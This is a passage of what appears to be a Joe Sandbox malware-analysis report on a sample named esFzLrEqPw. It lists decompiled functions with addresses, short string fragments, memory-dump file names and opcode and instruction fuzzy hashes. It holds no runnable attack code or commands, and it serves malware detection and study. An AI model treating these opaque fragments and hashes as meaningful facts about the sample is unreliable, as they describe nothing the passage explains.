Download Yara Rule

Strings

M|, xrefs: 004CF917
s, xrefs: 004CF907
6, xrefs: 004CFA0F
rF, xrefs: 004CF90F
H, xrefs: 004CF7FE

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: s$6$H$M|$rF
API String ID: 0-3047902030
Opcode ID: b54500a90be6a51b04c0c127b72cf18e3db1d6e1687ab55ca697182eb316c45e
Instruction ID: ee40877923cd506ff2b5221e6da84fea92af212e77b64392a36a08f4597aae3a
Opcode Fuzzy Hash: b54500a90be6a51b04c0c127b72cf18e3db1d6e1687ab55ca697182eb316c45e
Instruction Fuzzy Hash: ACD1697460C3809BD351DF18D494B2FBBE2AB82744F18492EE8D54B352D33AD909CBA7

Function 004EA345 Relevance: 4.3, Strings: 3, Instructions: 529COMMON

Download Yara Rule

Strings

,+, xrefs: 004EA186
lk, xrefs: 004EA3B4
;9, xrefs: 004EA0B7, 004EA0C3

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: ,+$lk$;9
API String ID: 0-1734778162
Opcode ID: 3d3024029a7f7525b456ce32a0700f11f63251762b490a03c998c9952c3ee36f
Instruction ID: abb16047d3056993c736de95b50c2d1f62485b6dd88cff5bc1e085a2e616f9e3
Opcode Fuzzy Hash: 3d3024029a7f7525b456ce32a0700f11f63251762b490a03c998c9952c3ee36f
Instruction Fuzzy Hash: EE02B7745083828BC324DF29C48066BB7F1FF95746F19891EE5C58B260E738E924DB97

Function 004E6F20 Relevance: 4.2, Strings: 3, Instructions: 405COMMON

Download Yara Rule

Strings

4`[b, xrefs: 004E7350
defg, xrefs: 004E713A
7654, xrefs: 004E7313, 004E731B

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b$7654$defg
API String ID: 0-754973257
Opcode ID: 8cfe0d358f15a5a814b4c266a2e6477b51adeeb11b8a04241f579c8ff44f87b6
Instruction ID: dee648c2f2029c3a8888af24a29c9cd1a5d7e1d96ba917fbc312900ba249a568
Opcode Fuzzy Hash: 8cfe0d358f15a5a814b4c266a2e6477b51adeeb11b8a04241f579c8ff44f87b6
Instruction Fuzzy Hash: E7C1AB715083809BC711EF16D881A2BB7E5EF95365F08485EF9C58B391E339D904C7AB

Function 005050E0 Relevance: 3.1, Strings: 2, Instructions: 576COMMON

Download Yara Rule

Strings

7654, xrefs: 00505144, 0050514D
f, xrefs: 005052A6

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 7654$f
API String ID: 0-930265988
Opcode ID: 1efa995f222ad827f97e620e7260824207509c6a94c9041e10008df9058fd7c1
Instruction ID: 58482ce1dd10adda66aedcd49640bc811a014481731c08650144bdbe896dc716
Opcode Fuzzy Hash: 1efa995f222ad827f97e620e7260824207509c6a94c9041e10008df9058fd7c1
Instruction Fuzzy Hash: 33129A756087419FC715CF18C884B6FBFE6BB98354F588A2CE895872A2E331D845CF52

Function 004ED56C Relevance: 3.1, Strings: 2, Instructions: 553COMMON

Download Yara Rule

Strings

7654, xrefs: 004ED823
4`[b, xrefs: 004ED860

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: 24d2a2560dc5c4f8edd963201925f42800240cbdae803e95fdeae74f0957ed95
Instruction ID: 7d349d9d0cfd46b79f3cdf4761243521bca234f78261ae450bb9f1fe89f1f651
Opcode Fuzzy Hash: 24d2a2560dc5c4f8edd963201925f42800240cbdae803e95fdeae74f0957ed95
Instruction Fuzzy Hash: 86121370A08381DFD724CF28D89076ABBF2BF9A314F14896DE498973A1D775D908CB52

Function 004F40F5 Relevance: 3.0, Strings: 2, Instructions: 452COMMON

Download Yara Rule

Strings

J(Z4, xrefs: 004F4387
#,), xrefs: 004F4979

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: #,)$J(Z4
API String ID: 0-1033251941
Opcode ID: 14db6bcf68062b972c51fdb0b2f161b7490dccdbcad24deeb00e8bc3f26e0bb4
Instruction ID: d780f68e0128b8cf8fddf862d4ab38dffda15e4258e7dd399baaa049479cad9c
Opcode Fuzzy Hash: 14db6bcf68062b972c51fdb0b2f161b7490dccdbcad24deeb00e8bc3f26e0bb4
Instruction Fuzzy Hash: FBF1E275604B40CBE7658F34C494BF7BBE2AB46304F14886ED6EB87282CB39E505CB25

Function 004DCFF0 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

7654, xrefs: 004DD383
4`[b, xrefs: 004DD3C0

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: 9c071e723c75ba7c863c07ae0086edfad51a38488a90e958c224f1768187321c
Instruction ID: 30d1cbcee7c121bae0a3ae6ecd446844bb4dcf47d689b464a8c5cef0d350f250
Opcode Fuzzy Hash: 9c071e723c75ba7c863c07ae0086edfad51a38488a90e958c224f1768187321c
Instruction Fuzzy Hash: 5FA10271845204DBC720AF18DC52B6B73B4FFA1358F09846EF98A87391E739AD05C79A

Function 004ED58E Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

7654, xrefs: 004ED823
4`[b, xrefs: 004ED860

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b$7654
API String ID: 0-3675246634
Opcode ID: ec12813503fe345e2fb0e1d5fdbaa9b8e65ead567af5905a8bee52aa4b4d9c24
Instruction ID: 4ad0e4eb6cb5d321b34141880d0406ccd48c3975f330c1fa3e46e48826897e09
Opcode Fuzzy Hash: ec12813503fe345e2fb0e1d5fdbaa9b8e65ead567af5905a8bee52aa4b4d9c24
Instruction Fuzzy Hash: CDD13870A08380DFC720CF29D8907AAB7E2BF9A315F14896DE4D997391D375E908DB16

Function 00509390 Relevance: 2.9, Strings: 2, Instructions: 384COMMON

Download Yara Rule

Strings

5P, xrefs: 00509728
P, xrefs: 00509537

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 5P$P
API String ID: 0-194341820
Opcode ID: cc0fe7e70a5985c03d2f98b87327bd9b8db935ed53d056f0999db9f07ca62d94
Instruction ID: a7c227fade77155ceede6346d50bec1ba833a34bc8505e0d86c46175776552de
Opcode Fuzzy Hash: cc0fe7e70a5985c03d2f98b87327bd9b8db935ed53d056f0999db9f07ca62d94
Instruction Fuzzy Hash: ECD1D1729083658FC726CE18989071EBAE1FB85714F158A2CE8B5AB3D5CB71DC06C7C2

Function 004EC390 Relevance: 2.9, Strings: 2, Instructions: 361COMMON

Download Yara Rule

Strings

7654, xrefs: 004EC3C3, 004EC3CB
e, xrefs: 004EC710

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$e
API String ID: 2994545307-2460420260
Opcode ID: e0a67191d13bbc50df14cf613c635e263bc1ffa6b9a5c7eb59cb23150c8aac0a
Instruction ID: cc1593426cc41523baa5de1ea9893e2e977439060fca5caaa33ee7b142399ef3
Opcode Fuzzy Hash: e0a67191d13bbc50df14cf613c635e263bc1ffa6b9a5c7eb59cb23150c8aac0a
Instruction Fuzzy Hash: B4A10E715083859FD710DF2AC880A3BB7E1EF95315F14892EE9D587391E339E806CB9A

Function 004F4DF6 Relevance: 2.8, Strings: 2, Instructions: 301COMMON

Download Yara Rule

Strings

O<>5, xrefs: 004F4DFE
J(Z4, xrefs: 004F507A

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: J(Z4$O<>5
API String ID: 0-1381569939
Opcode ID: f566dbddc6cf5f28504ddd367b3b387071a1d0e9a34ac9ad4c4517e446b3698c
Instruction ID: d598c7cbfbb586463ab7ca0c078bf7b4f7690b86a239192d406799f5bdf35d18
Opcode Fuzzy Hash: f566dbddc6cf5f28504ddd367b3b387071a1d0e9a34ac9ad4c4517e446b3698c
Instruction Fuzzy Hash: 1AA16770408B818EE7668F39C050BA3FBE1AF16304F54485ED5EB8B792CB7AA405CB65

Function 004EA2F9 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

,+, xrefs: 004EA186
;9, xrefs: 004EA0B7, 004EA0C3

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: ,+$;9
API String ID: 0-1035581042
Opcode ID: 0114b2ddbcea2be7da43bcf882f613633bdf8cb2d2ab01bc5e1ee4236f29a248
Instruction ID: 6f792d409ac59dcd9694e0b349b6644fcd43531d246c896ef18841ebda021eb6
Opcode Fuzzy Hash: 0114b2ddbcea2be7da43bcf882f613633bdf8cb2d2ab01bc5e1ee4236f29a248
Instruction Fuzzy Hash: B7716674408381CAD7248F25C980BABB7F1FF85305F549A1EE9D98B210EB39E814DB97

Function 004EA274 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

,+, xrefs: 004EA186
;9, xrefs: 004EA0B7, 004EA0C3

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: ,+$;9
API String ID: 0-1035581042
Opcode ID: 780ec27c89f6ae395a7d878666b6aab070cdb8b1cc904cb178ec612a2261ba8a
Instruction ID: f2b5daa165980f493c253236df51d3f32d5afd770c172cb6a708841f79ddc7f8
Opcode Fuzzy Hash: 780ec27c89f6ae395a7d878666b6aab070cdb8b1cc904cb178ec612a2261ba8a
Instruction Fuzzy Hash: 74616574008381CAD7248F25C980BABB7F1FF86305F549A0EE5D88B220EB39D814DB97

Function 0050AF10 Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

@, xrefs: 0050AF60
MNOP, xrefs: 0050AFA3, 0050AFAB

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: InitializeThunk
String ID: @$MNOP
API String ID: 2994545307-2234187807
Opcode ID: 25fdb6c86ac309580269b8f2e0216b1b287bc30af1ee2967b1aa17f2cdce1093
Instruction ID: 7cfcac354ae15e1fabadde7a1791ded040a01c3f9de5eb9c404d6065dbfaf11e
Opcode Fuzzy Hash: 25fdb6c86ac309580269b8f2e0216b1b287bc30af1ee2967b1aa17f2cdce1093
Instruction Fuzzy Hash: E83185B49083059BD314DF18D880A2FFBF9FFAA314F18892CE5C897291D331D9049B66

Function 004E6CA0 Relevance: 1.8, APIs: 1, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0050EB80,00000000,00000001,0050EB70), ref: 004E6CC9

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: ba9371c95be1fd1d97e1a9129dc5b4ccf18dc987aed3756263fe2debf7745df2
Instruction ID: 853aaee934e288fdcd86823fa9f1a5f47154e965eef6577a7070737d60cae283
Opcode Fuzzy Hash: ba9371c95be1fd1d97e1a9129dc5b4ccf18dc987aed3756263fe2debf7745df2
Instruction Fuzzy Hash: 986100B56002049BDB209F29CC96FB733B4EFA1399F054519F9468B3D0E779E805C76A

Function 004F1370 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

", xrefs: 004F1658

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: ebf93012f695f814ea8beb274b67aa73a9487f93ba687a60f16075264e124bcf
Instruction ID: c3bf0b9e8c41746e694ac2d8061a5789348cc191dc98ea3223157d264c52a4ec
Opcode Fuzzy Hash: ebf93012f695f814ea8beb274b67aa73a9487f93ba687a60f16075264e124bcf
Instruction Fuzzy Hash: 52C14A71A04308DBD714CE25C490B7BB7E9ABC4354F18892FEA5A873A2D739EC04C796

Function 004F4A2F Relevance: 1.6, Strings: 1, Instructions: 305COMMON

Download Yara Rule

Strings

J(Z4, xrefs: 004F4CAC

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: J(Z4
API String ID: 0-2186490230
Opcode ID: 007b8f0e6bb6c16d628f1a0d31df587d3c5c9b28a61dcf8b72b03fcd9690d022
Instruction ID: e14f499ac0f29d0d18044c1f9a6846992939feb607288da34adb293b903361ea
Opcode Fuzzy Hash: 007b8f0e6bb6c16d628f1a0d31df587d3c5c9b28a61dcf8b72b03fcd9690d022
Instruction Fuzzy Hash: EEA16D70408B808EE776CF39C090BA3BBE1AF56304F54485ED5EB87792DB79A445CB25

Function 00508BE0 Relevance: 1.5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00508DF0

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b
API String ID: 2994545307-3962175265
Opcode ID: af206bc87a8722639b7fe3283cc38f3be07a93df84eb06ad0c7a241f3fb9a3ba
Instruction ID: 56666baf94ef124ee09a7b29cc7ded04fc111698f842704fea506bcb92f43216
Opcode Fuzzy Hash: af206bc87a8722639b7fe3283cc38f3be07a93df84eb06ad0c7a241f3fb9a3ba
Instruction Fuzzy Hash: 84915A71608302ABDB20DB14C845FBFBBE5BB95354F54891CF9D897292EB30E844DB92

Function 00505AD0 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

7654, xrefs: 00505CF3, 00505CFB

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 7654
API String ID: 0-4024152101
Opcode ID: 7bba94752cf0ddee0d6c7ee31c3df8eb9bfa339607ffdaad7f7fe04717918313
Instruction ID: fedf4d24c9e8c230abc6b75f67528af3017448655023d1c42e1ee6126c256ec6
Opcode Fuzzy Hash: 7bba94752cf0ddee0d6c7ee31c3df8eb9bfa339607ffdaad7f7fe04717918313
Instruction Fuzzy Hash: 9071CD716087419FE7259E29C884B2FBBE6FB94310F18892DE995872D1E230EC458F52

Function 005089F0 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00508BA0

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 58987c028a153ad600b578564d6272b677e4255b1013da5e8a4bf70509c2c815
Instruction ID: be8f2f50cbb013e1383ca53e363269b40dfc652f5e96cef3cad29ae32169048f
Opcode Fuzzy Hash: 58987c028a153ad600b578564d6272b677e4255b1013da5e8a4bf70509c2c815
Instruction Fuzzy Hash: 4351C371608304AFC7149A08CC91F3EBBE6FB99724F188A2CE8E5973D1DA35EC119791

Function 00504970 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

7654, xrefs: 00504A33, 00504A3B

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: 7654
API String ID: 0-4024152101
Opcode ID: a16e0aecd6bc42df29c1fae736eb40b52114a0b9a9f43a013b33ae16079850a0
Instruction ID: df8a182f0e3b7e482aa245d614059251966b810b2206e56f8687b568b189e6b6
Opcode Fuzzy Hash: a16e0aecd6bc42df29c1fae736eb40b52114a0b9a9f43a013b33ae16079850a0
Instruction Fuzzy Hash: 625181B46082449BCB149F18D994A2EBFE6FB99704F188D2CEAC587291D331DC50DF62

Function 0050AD90 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

MNOP, xrefs: 0050ADC4, 0050ADCD

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID:
String ID: MNOP
API String ID: 0-783613192
Opcode ID: fcac5756b524add10154007bf73cec45a3eb76209854d29347d98eed5bc5f769
Instruction ID: 1fa9a677e0669e6c00e3c1c485eb353667d2e72b55ab019aef16616a8855fed4
Opcode Fuzzy Hash: fcac5756b524add10154007bf73cec45a3eb76209854d29347d98eed5bc5f769
Instruction Fuzzy Hash: 89415D34608344AFD724DF18D891B2FBFAAFB95714F24881CF99997292D331EC109B56

Function 004E4490 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

80, xrefs: 004E44D5

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
